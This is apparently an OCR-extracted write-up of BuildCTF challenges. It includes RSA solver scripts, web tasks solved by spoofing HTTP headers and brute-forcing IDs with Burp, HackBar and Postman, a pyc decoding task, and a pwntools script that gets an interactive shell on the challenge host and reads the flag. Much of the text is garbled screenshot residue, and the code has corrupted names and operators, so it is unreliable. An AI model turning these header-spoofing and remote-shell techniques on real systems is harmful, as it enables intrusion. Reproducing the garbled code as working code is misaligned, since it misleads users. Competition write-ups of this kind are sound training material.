p=(gmpy2.iroot(P+Q+2*n,2) [0]+gmpy2.iroot(P+Q-2%n,2)[0])//2
a=n//p
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
print(long_to_bytes(pow(c,d,n)))

BuildCTF{We1cOMe_b@cK_To_7uNiOr_h19H!!1}



ezzzzz RSA
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AHE

import Tibnum
from Crypto.Util.number import *

flag = b'BuildCTF{**#w¥xx}r

Ej
Il

Tibnum.s2n(flag)

65537

getPrime(1024)
gl = getPrime(1024)
p = getPrime(1024)
pl = getPrime(1024)

n=p*q
nl =q * pl
n2 =p *ql

c = pow(m, e, n)
h0 = pow(2023 * p + 2024, gl, n2)

hl = pow(2024 * pl + 2023 * q, 113, nl)
h2 = pow(2023 * pl + 2024 * q, 629, nl)
print(f'nl = {n1}")
print(f'n2 = {n2}")

print(f'c = {c}")

print(f"h0 = {h0}")
print(f"hl = {h1}™)
print(f"h2 = {h2}")

nl =
19957426023169626195602761840035904096149402534966487535713447987366768645542881
12478255126897834206345843084687782421065977812628170598471106119035163649794494
33219889501881711599037173489365563461986383119500161368654250150370982700400318
72702873264144372191898253134939805153141701819590164140250130420280491966786900
65118694131795955606673095974427996397606556543615339967947541004077363714267793
69268946779192423516104572962038648069915394805935460844493230176704315900123125
26757477514457145686070196978477495658962519391041011847512041022828710693830661
412217389320600888361578917153088073678587422269955710471

n2 =
11933661747067216317642315621042074566046499785197709817779978157416906347669444
37423431332906485962296074374351173567261499956626402564869858988618505675807171
83199642626198191437579229166241963543133224565342665201505430081178881013499203
96737532937616502689667208207329048979872222563877933742673021891249520999021187
40406570638870071120844562804138695645939827123023601847696483939924514366653435
91137778465351517731747017322842800835865804899956663063738394179466481961408799
78268472361473557375951972193618245984950374326806423407152520541682571610372434
453778172497925696535270204943842467472100237854318244291


af://n77

C =
20080676122944896238797522372441559951736929534371084097400233944319893926800196
69444956453415077008555434995243314181563732475338648454961657363600176381585209
59848308289520200479384069092743117853062990610216624845443718137397135203613433
50959698642021322243662988875917088108399877176033404097457939417134483333264562
60263385369438201447274750015910072362631492847648403766651985760456830096707186
81515081427842710426008154068539786968573097609511058522883546035032073838999021
35741426285551161292195639862478256231538619968275273876467583013024899054710124
331145912185471501398910765579441956531091561893256832468

ho =
29967260097262606957328211665040403447311026370476824328840588574939356250942580
46641569918904978173116793673563730117949606727933902262668880339210084101176866
38360254396617984035363373550744292670734225839136224590485029741664227112332898
08129310256778573731995401292800973158329070237770521011336498771944954805436464
72133854655383755313968952550827443970931104462445312146328606862802196901953935
23897275985243588272078657096554228627854910740291804119400884571750773578689796
87348310643933377735578178393434490013685658569211384080399316088042335959804975
57733714560035682416265029819340316734845279080134432704

hl =
19843160604742228074331688651361052208481287636527838615063387670722213224954610
44872006593737820154517727884157563369701243407418604655684329206883575211338475
61499441142989491154128197308435982886372594670852688612017757238177904283865955
59040938133481222229290199923979132846871398172318539492741755408720073350962388
13845334167700954761623826221117672742406794602068374226278231973528635746581778
64462385281877229593574446765127054515041363333364158800205025240096479401827212
64953084120705872870651891290569527156804993340563927419561415555818468261824287
933683736509372616293569615247228388443284457740072850735

h2 =
15147052684674827267989051566164167603473413362261253296001082161136918959833294
46318533541666212736847398023966791856160074166751328570884308147507468823950733
02305583314088775832466618620409184100369365053074373299143632016302121639523574
44441705663871720438955166472073576526814546767805314463827075388036712200327696
16896576217756734696647939989657819011181913000099159449093238813218824172665475
63686989982328263409692880826458603244049801434894899464902664394473424614834905
82149239131554246756547000945718737195930407251232848166108751122870333559461452
459416252942341423373918245090162970624108991537972775066

RERT, ENHEEEXIE

from Crypto.Util.number import *

from gmpy2 import *

nl =
19957426023169626195602761840035904096149402534966487535713447987366768645542881
12478255126897834206345843084687782421065977812628170598471106119035163649794494
33219889501881711599037173489365563461986383119500161368654250150370982700400318
72702873264144372191898253134939805153141701819590164140250130420280491966786900
65118694131795955606673095974427996397606556543615339967947541004077363714267793
69268946779192423516104572962038648069915394805935460844493230176704315900123125
26757477514457145686070196978477495658962519391041011847512041022828710693830661
412217389320600888361578917153088073678587422269955710471


https://blog.csdn.net/m0_73725283/article/details/136997729

n2 =
11933661747067216317642315621042074566046499785197709817779978157416906347669444
37423431332906485962296074374351173567261499956626402564869858988618505675807171
83199642626198191437579229166241963543133224565342665201505430081178881013499203
96737532937616502689667208207329048979872222563877933742673021891249520999021187
40406570638870071120844562804138695645939827123023601847696483939924514366653435
91137778465351517731747017322842800835865804899956663063738394179466481961408799
78268472361473557375951972193618245984950374326806423407152520541682571610372434
453778172497925696535270204943842467472100237854318244291

C =
20080676122944896238797522372441559951736929534371084097400233944319893926800196
69444956453415077008555434995243314181563732475338648454961657363600176381585209
59848308289520200479384069092743117853062990610216624845443718137397135203613433
50959698642021322243662988875917088108399877176033404097457939417134483333264562
60263385369438201447274750015910072362631492847648403766651985760456830096707186
81515081427842710426008154068539786968573097609511058522883546035032073838999021
35741426285551161292195639862478256231538619968275273876467583013024899054710124
331145912185471501398910765579441956531091561893256832468

hO =
29967260097262606957328211665040403447311026370476824328840588574939356250942580
46641569918904978173116793673563730117949606727933902262668880339210084101176866
38360254396617984035363373550744292670734225839136224590485029741664227112332898
08129310256778573731995401292800973158329070237770521011336498771944954805436464
72133854655383755313968952550827443970931104462445312146328606862802196901953935
23897275985243588272078657096554228627854910740291804119400884571750773578689796
87348310643933377735578178393434490013685658569211384080399316088042335959804975
57733714560035682416265029819340316734845279080134432704

hl =
19843160604742228074331688651361052208481287636527838615063387670722213224954610
44872006593737820154517727884157563369701243407418604655684329206883575211338475
61499441142989491154128197308435982886372594670852688612017757238177904283865955
59040938133481222229290199923979132846871398172318539492741755408720073350962388
13845334167700954761623826221117672742406794602068374226278231973528635746581778
64462385281877229593574446765127054515041363333364158800205025240096479401827212
64953084120705872870651891290569527156804993340563927419561415555818468261824287
933683736509372616293569615247228388443284457740072850735

h2 =
15147052684674827267989051566164167603473413362261253296001082161136918959833294
46318533541666212736847398023966791856160074166751328570884308147507468823950733
02305583314088775832466618620409184100369365053074373299143632016302121639523574
44441705663871720438955166472073576526814546767805314463827075388036712200327696
16896576217756734696647939989657819011181913000099159449093238813218824172665475
63686989982328263409692880826458603244049801434894899464902664394473424614834905
82149239131554246756547000945718737195930407251232848166108751122870333559461452
459416252942341423373918245090162970624108991537972775066

e = 65537

pl=gcd(nl, pow(h1%2024%%113,629)-pow(h2%2023%%629,113))
g=nl//pl

p=gcd(n2,h0-pow(2024,n2,n2))

print(p)

phi=(p-1)*(q-1)
d=invert(e,phi)
m=pow(c,d,p*q)
print(long_to_bytes(m))



BuildCTF{29g5blh5-7829-5k38-a836-9bk54h291h6}

Web
find-the-id

Fabpl&iE— TR LAEB %2207

Burp Suite Professional v1.7.37 - Temporary Project - licensed to surferxyz - o X
Burp Intruder Repeater Window Help

Target | Froxy | Spider | Scanner .E Repeater | Sequencer | Decoder | Comparer | Extender | Project optins | User optins | Avets
i

|
Target ayioads | Options |

= Intruder attack 1 - o X [

(] Payload Positions I
u Y Attack Save Columns ;J

‘.nemeneumJ_J e Ipnmm I""‘“"‘ IW"“ ]
Atacktype: [Snper | ‘ Fiter: Showing alltems ID —

GET /index.php?g=50§ HITP/1.1

Status meout —— I3
Hose: 2726, 161.60:42475 st | Pecn [Eror | Tmeout USR] © \ | P L Aas |
User-Agent: Mozilla/5.0 (Windows NT 10.0||207 207 200 (@] o m N —
Accept: text/html,application/shtaltxal,||p 200 a a s Clear §
Accept-Language: zh-CN,zh;q=0.8,zh-T¥; q=|
Accept-Encoding: gzip, deflate ! ! 200 o o ™ Auto§
Comnection: close 2 2 200 a o ™
Referer: http://27.25.151.80:43475/ 3 3 200 (=] g ™ Yorm—
Coolid 4 4 200 Q o
GZCTF_Token=C £DJEHKES 1 LDIFGIM) PhOS _xUrH] anPiDPxtSET0 £Lp bk s SKDG
ps) ]| 5 s 200 a g =~ nXYLBuGS -on_iL0cNBRPL7Y
4aK80tUnTyy74pLdéz1D_CTFeycZ5Tht fqSuhHeU|| 6 6 200 a a gPyFCI8aCh48sEUDDq4XTEdH
32ohRohhuUHS3X7TXKOLAD_r avKIVyHLee Uk 10x B 7 7 200 o g = Rl eUCrAuinst Tn3EtNdaTSUS
i
\Upgrade-Insecure-Requests: 1 8 s 200 o o st
Priority: u=0, i 9 9 200 o a ™

10 10 200 a o v

Response

frow [rore [revr [ |

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x64; rv:131.0) Gecko/20100101 Firefox/131.0

ceept.

text/html,application/xhtmltxml,application/xml;q=0.9,image/avit, inage/webp, inage/png, inage/svgtxml, */*;q=0.8
Accept-Language: zh-CN, 8,2h-TW;q=0.7,zh-HK; U 0.2

Accept-Encoding: gzip, deflate

25.151.80:43475/

= PoS £0me f_ZOVDVA41nkSIQT 4181
ValuBwrCljPit1zHEzZInEAS_Fx2JUAIp3kvD DPxLSE @
za2z7Se_OK: Jmwa_ o 7 1R

~om_110cERPL o pLAEz1D_CTF i 7LhRE3 4L Teuifasl |y
2 [ <[ *] 2] |wweasearchiem 0 matches
Finished

1 payload position

A LATE R R Eflag

« > C @ O 8 27.25.151.80:43475/index.php?g=207 28 L ©®@ 8B & 5 =
DM @ wErs O st © sursi Dearias bvpz
AT REENTY

AT (Subscribe

N O=E: Oies DEde Nms (QrtmEs Ousw Ownr B e & oels 8 Nmes g - X
Q @ HTML + £ viest thov cds + % @ B B #F iHBE |k A FE PE
cloenre pint> FHETE. ~ R -
» <head> @ </head> BIE—1SHHE (Flex) SEHTALIL.

v <body>

<div> TR, BEEH T3 </div> v FitE

» <div class="input-group™> = </div> LR CSS %

</body>

</htnl> v AR

nargin o

html > body e " e—— v


af://n84
af://n85

ez'http

postf&&user=root

c A Fe  27.25.151.80:43476

FZN
[ = |

EHEE, 15

* O @ Ew#Chomed

IIEHFRSHARENGETHE

RBrootFAFZ 8815 RfG & {RErootlif?

DevTools - 27.25.151.80:43476/

Lighthouse HHEEUR S

LOAD ~ SPLIT EXECUTE TEST ~ sQLl ~ XSS v SSRF ~ SSTI ~

URL
http://27.25.151.80:43476/

enctype

@@ Use POST method application/x-www-form-urlencoded

Body
user=rood

Kreferersk

c A FTe  27.25.151.80:43476

r<N
[ = |

EFEE, 15

i & HackBar

SHELL ~ ENCODING ~ HASHING ~ CUSTOM ~ MODE ~ THEME ~

MODIFY HEADER

Name

Upgrade-Insecure-Requests

g 0

AR Chrome B

P2N
[=]

IIEHFRSHARENGETHE

@ Devlools - 27.25.151.80:43476/
< [0

TR BEE

LOAD ~ SPLIT EXECUTE TEST ~ XSS v LFI ~ SSRF ~ SSTI ~

Content-Type
Accept

Referer

BUASL

HackBar

SHELL ~ ENCODING ~ HASHING ~ CUSTOM ~ MODE ~

http://27.25.151.80:43476

THEME ~

Origin oS

Name Value
application/x-www-form-urlencode X

Name Value

text/html, application/xhtml+xml, X

Name

Value

blog.buildctf.vip|



af://n90

<« G  AT#2 27.25.151.80:43476 * & @ ssEChomeTR®

FEEAbuildctFERENERE

€ Devlools - 27.25.151.80:43476/
i WE M wE AR %2 Lighthouse B2 MRS T X HackBar

R [0 7%
SPLIT EXECUTE TEST ~ sQLl ~ XSS ~ LFI ~ SSRF ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~ CUSTOM ~
Name

Body
] Upgrade-Insecure-Requests 1

user=root

Name Value

User-Agent buildctﬂ

Name Value

Origin http://27.25.151.80:43476

BIXFFsL

< C A F=e 27.25.151.80:43476 Y o © sEiRChomeas §

Rk ERREEEMRTE, BNEHRHEHIRHENEERE

RBERBEAMIBERA 88719

@ Devlools - 27.25.151.80:43476/

‘ CE T ST v e Lighthouse % MERERUESHT & HackBar

iR [0 7R BHa  BHE

LOAD ~ SPLIT EXECUTE TEST ~ sQLl - XSS v LFI ~ SSRF ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~ CUSTOM ~ MODE ~ THEME ~

URL
http://27.25.151.80:43476/

enctype
@@ Use POST method application/x-www-form-urlencoded

MODIFY HEADER

Name

Body
X-Forwarded-For

user=root

M DatesL



< c A FTxe 27.25.151.80:43476

* O @ EFHRChomed i

PRI EEREEEM0E, FNIEFHSHEREANGSTH

JE:IN=1=)

REES2042.99. 99X — KR IERIER

@ Devlools - 27.25.151.80:43476/

e

R B ® et

Lighthouse

SPLIT EXECUTE TEST ~ sQLl ~ XSS ~ LFI ~ SSRF ~

http://27.25.151.80:43476/

enctype
application/x-www-form-urlencoded

@@ Use POST method

Body
user=root

Mrfromsk

< c A F&e  27.25.151.80:43476

MEREIESHT & HackBar

SSTI ~ SHELL ~ ENCODING ~

MODIFY HEADER

Name

Date

HASHING ~ CUSTOM ~ MODE ~

Value

v 2042.99.99

* O 0

RN EEREEEMEE, FNIEFNSHERENGSTH

Im b=k =5=bE S vislalil e

21

S,

t@huildetf uin A EAEIEIRIESA

THEME ~

##H% Chrome T+

© Devools - 27.25.151.80:43476/
R [0 7x B

= WS e RE ONE %2 Lighthouse B2

v SPLIT EXECUTE TEST ~ LFl ~ SSRF ~

URL
http://27.25.151.80:43476/

enctype
application/x-www-form-urlencoded

@@ Use POST method

Body
user=root

Mviask

MEREIESHT & HackBar

SSTI ~ SHELL ~

MODIFY HEADER

Name

From

ENCODING ~

HASHING ~ CUSTOM ~ MODE ~

Value

v root@buildctf.vip

THEME ~




<« C  AFe 27.2515180:43476 * O @ #E#RChomeds

RiESHRIBAbuildctf.viafJissK

@ DevTools - 27.25.151.80:43476/ - o X
i [0 7E £ #r & HackBar B

B OREE M WE A 22 Lighthouse

TR

LOAD SPLIT EXECUTE TEST ~ LFI ~ SSRF ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~ MODE ~ THEME ~

URL
http://27.25.151.80:43476/

enctype
@@ Use POST method application/x-www-form-urlencoded MODIFY HEADER

Body Name Value

user=root Via v buildctf.via

ALk

<« C  ATze 27.25151.80:43476 * O @ sERChomea

PRI EEREEEM0E, FNIEFNSHEREAGSTH

JE:IN=1=)
s BE (42257, 47 & . ~
SRR IR SIbuildctANES
@ Devlools - 27.25.151.80:43476/ - o x
iR [0 7E B#BEa RE R WE WA Lighthouse MRS & HackBar Bl

~ SPLIT EXECUTE TEST ~ sQLl ~ XSS ~ LFI ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~ CUSTOM ~

URL
http://27.25.151.80:43476/

enctype

@@ Use POST method application/x-www-form-urlencoded MODIFY HEADER

Body Name Value
user=root Accept v buildctf




XERWAFAIXMEH, Apostman, ERImAI LIRS, ZRAFEpostiE&—AMENThis_is_flaghl
EHgetFlaghiS#L
!DOCTYPE html
<html lang="en”>
P <head’ m < head>
v ‘body> | flex
¥ {dive
<1 XK B PR S 6 SR U, 3 SRR S ok NS £ B </hl>
ves ¥ {form method="POST" action> == §0
<input type="hidden” name="user” value="admin”>
<!—— Set hidden user as root —>

<button type="submit”>i A\J5 & </ button>

<!—— Button to submit the form —>
</form>
P <div style="color:red; font-size: 24px; text—align:center;” > cw </div>
</divy
</body>

</html>

WP http://27.25151.80:43476/ [ save v s B <>
POST v http://27.25151.80:43476/ | %
Params Authorization Headers (15) Body ®  Scripts Settings Cookies
none form-data @ x-www-form-urlencoded raw binary GraphQL
Key Value Description == Bulk Edit
user root
getFlag This_is_flag
Key Value Descriptiol
Body Cookies Headers (6) Test Results 200 OK 86ms - 2.31KB @ [e28] Save Response e
Pretty Raw Preview Visualize

FAIENRS, RBE!
ABFLERAOTagTEMIE? SiX MRt

$KEXFlag

BuildCTF{e518785b-be7d-4054-8c79-fc2e4d149f12}
€9 Postbot () Runner « StartProxy @ Cookies (M Vault [ij Trash B @
Reverse

pyc
pycRImiE


af://n109
af://n110

pythonTH

Ry TR, STEFTEPythonkiias
WP | SRR

# visit https://tool. lu/pyc/ for more information »N
# Version: Python 3.8

import base64

def encode(message) :
s = bytearray()
for i in message:
x = ord(i) = 32
Xx=x+16
if x > 255:
x —= 256
s. append (x)
return base64. b64encode (bytes(s)). decode (' utf-8")

correct = cmVZXFRzhHZrYFNp jyFjj1VRVWmPV19i j4kgZWo="
flag = input ( Input flag: )
if encode(flag) == correct:
print C IEAEH[E1E, awa! |17)
else:

print  #%E 4 7, QiQ!!")

| E{b(Beautify) | ‘ TF#(Download) ‘

Ul

import base64
def decode(encoded_message):
decoded_bytes = base64.b64decode(encoded_message)

message = bytearray()
for byte in decoded_bytes:
X = byte - 16
if x < 0:
X += 256
X =x A 32
message.append(x)

return bytes(message).decode('utf-8', errors='ignore')
encoded_message = 'cmVZXFRzhHZrYFNpjyF3jj1VvRvwmPV19ij4kgzwO=
print(decode(encoded_message))

BuildCTF{pcy_1s_eaey_for_YOu}

Pwn

BRIV RIBES

\

!

th

from pwn import *

jo=remote('27.25.151.80"',43689)

for i in range(200):
jo.sendline(b'4")


af://n116
af://n117

jo.recv(Q)
for i in range(100):
jo.sendline(b'1l")
io.recv()
jo.sendline(b'1l")
jo.recv()
jo.sendline(b'2")
io.interactive()

[x] Opening connection to 27.25.151.80 on port 43689: Trying 27.25.151.8@
[+] Opening connection to 27.25.151.80 on port 43689: Done
[*] to

interactive mode

¥: 453, O "
{RAERZ, 5

1ib32

lib64

libexec

libx32

pwn

cat flag

BuildCTF{SHawEi_mA_ 56ed65aebeb4} |
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